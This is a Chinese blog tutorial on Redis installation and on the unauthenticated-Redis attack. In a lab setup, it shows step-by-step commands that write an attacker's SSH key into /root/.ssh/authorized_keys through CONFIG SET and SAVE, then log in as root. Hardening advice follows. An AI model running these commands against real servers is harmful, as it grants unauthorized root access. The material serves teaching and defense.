redis漏洞利用及防禦

永遠十八歲 2021-08-15 15:03:08 阅读数:280

本文一共[544]字,预计阅读时长:1分钟~
redis 漏洞 利用

redis漏洞利用及防禦

一、 redis介紹

Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache, and message broker.

開源、內存存儲、數據結構存儲

數據庫、緩存、消息隊列

Redis provides data structures such as strings, hashes, lists, sets, sorted sets with range queries, bitmaps, hyperloglogs, geospatial indexes, and streams.

數據結構:字符串、hashes(關聯數組)、列錶(數組)、集合、有序集合、bitmaps、hyperloglogs、空間索引、streams

Redis has built-in replication, Lua scripting, LRU eviction, transactions, and different levels of on-disk persistence, and provides high availability via Redis Sentinel and automatic partitioning with Redis Cluster.

內建複制、Lua scripting、LRU、事務、不同級別的磁盤持久化

基於哨兵、Redis Cluster的高可用

二、 redis安裝

1、yum安裝

epel源提供的3.2.12版本,不推薦,官方已不再維護

2、 源碼安裝(4.x版本)

2.1 下載安裝包並解壓

~]# wget https://download.redis.io/releases/redis-4.0.8.tar.gz
~]# tar xf redis-4.0.8.tar.gz
~]# cd redis-4.0.8
複制代碼

2.2 安裝

# 安裝編譯依賴軟件
~]# yum groupinstall -y "Development Tools"
# 安裝redis
~]# make install
# 安裝啟動脚本
~]# utils/install_server.sh
複制代碼

3、 源碼安裝(6.x版本)

3.1 下載並解壓安裝包

[[email protected] ~]# wget https://download.redis.io/releases/redis-6.2.5.tar.gz
[[email protected] ~]# tar xf redis-6.2.5.tar.gz
[[email protected] ~]# cd redis-6.2.5/
複制代碼

3.2 准備編譯環境

[[email protected] redis-6.2.5]# yum groupinstall -y "Development Tools"
複制代碼

3.3 昇級gcc版本

Redis 6以上版本編譯時需要5版本以上gcc

~]# yum -y install centos-release-scl systemd-devel && yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils && scl enable devtoolset-9 bash
複制代碼

3.4 安裝

[[email protected] redis-6.2.5]# make install
複制代碼

3.4 提供系統脚本

需先注釋install_server.sh脚本中以下內容,再執行脚本

 76 #bail if this system is managed by systemd
77 _pid_1_exe="$(readlink -f /proc/1/exe)"
78 if [ "${_pid_1_exe##*/}" = systemd ]
79 then
80 echo "This systems seems to use systemd."
81 echo "Please take a look at the provided example service unit files in this directory, and adapt and install them. Sorry!
" 82 exit 1
83 fi
84 unset _pid_1_exe
複制代碼

三、 漏洞產生的前提

  1. 綁定在公網IP上,並未對訪問的來源地址做限制。
  2. 未設置密碼驗證

四、 漏洞利用

機器名稱 IP地址
hacker 192.168.100.199
redis-server 3.x版本 192.168.100.230
redis-server 6.x版本 192.168.100.220

1. hacker生成密鑰

~]# [[email protected] ~]# ssh-keygen -t rsa -N ''
複制代碼

2. 設置密鑰為redis-server中的key

[[email protected] ~]# redis-cli -h 192.168.100.220
192.168.100.220:6379> set a "\n\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIUar9DbYKo5X9cO5OOnTzRQnKQklo9M6bDTMNtelqxxe8eqxBich3V2qycPTckaU4Gec+2evTNowen04vWRc9IZw07QfyOIX4DWZdTNUDEfKj9RfyiCDNk+aNVNR/QL+m1QH365oK6oUA5PVyATgrhutKJvBoqhR0KqEAdlJklW01YMJJ78GOzLJNunzEXy/Cp6mHxVMV7z9MM5VHjaizGdCVWNgb08Ulzh49Bh0V5VknjTqdk1ehHgCes3j9hE7mb1n/I0Np2kfyQ6x87cIHmwGRBD/Mo7SoBRi3daXXO583PPIa7TR6Uihhrc+H/VhR0DaHtg7rZ2n0dduJS9kT [email protected]\n\n\n\n"
OK
192.168.100.220:6379> get a
"\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIUar9DbYKo5X9cO5OOnTzRQnKQklo9M6bDTMNtelqxxe8eqxBich3V2qycPTckaU4Gec+2evTNowen04vWRc9IZw07QfyOIX4DWZdTNUDEfKj9RfyiCDNk+aNVNR/QL+m1QH365oK6oUA5PVyATgrhutKJvBoqhR0KqEAdlJklW01YMJJ78GOzLJNunzEXy/Cp6mHxVMV7z9MM5VHjaizGdCVWNgb08Ulzh49Bh0V5VknjTqdk1ehHgCes3j9hE7mb1n/I0Np2kfyQ6x87cIHmwGRBD/Mo7SoBRi3daXXO583PPIa7TR6Uihhrc+H/VhR0DaHtg7rZ2n0dduJS9kT [email protected]\n\n"
複制代碼

3. 修改redis-server持久存儲文件存儲比特置並保存

# 查看現在的值:
192.168.100.220:6379> config get dir
1) "dir"
2) "/var/lib/redis/6379"
192.168.100.220:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
 # 設置
192.168.100.220:6379> config set dir /root/.ssh
OK
192.168.100.220:6379> config set dbfilename authorized_keys
OK
 #查看修改後的值:
192.168.100.220:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.100.220:6379> config get dbfilename
1) "dbfilename"
2) "authorized_keys"
 # 通知redis-server執行一次保存操作,把數據同步到/root/.ssh/authorized_keys文件中
192.168.100.220:6379> save
複制代碼

4. 登陸驗證

[[email protected] ~]# ssh [email protected]
Last login: Sat Jul 31 04:25:20 2021 from 192.168.100.199
複制代碼

五、防禦

hacker連接到redis-server中涉及到的點:

1. 知道目標服務器IP

重點:如何找到開放6379端口的服務器(端口掃描),也有可能是針對性攻擊。

防禦:

針對外部攻擊:不開放6379端口,或者改為其它端口。使用白名單方式限制哪些來源IP可訪問服務器。

內部攻擊:限制哪些來源IP可訪問服務器

2. 登陸到redis服務

重點:如何通過客戶端連接到服務端?

防禦:設置複雜度高的密碼

3. 修改redis.conf文件寫入密鑰或文件

重點:可使用config命令在線修改redis.conf文件,把密鑰文件放到服務器上,達到獲得root權限的目的。

防禦:使用低權限且shell類型為/sbin/nologin的用戶運行redis,修改或禁用高危命令(redis.conf配置文件中新增以下內容)

rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command KEYS ""
複制代碼

4. 遠程登陸到目標服務器

重點:通過密鑰登陸或反彈式shell等方式連接到目標服務器

防禦:雙因子驗證、服務器禁止訪問外部網絡。

注:反彈shell(reverse shell),就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。

版权声明:本文为[永遠十八歲]所创,转载请带上原文链接,感谢。 https://gsmany.com/2021/08/20210815150253328u.html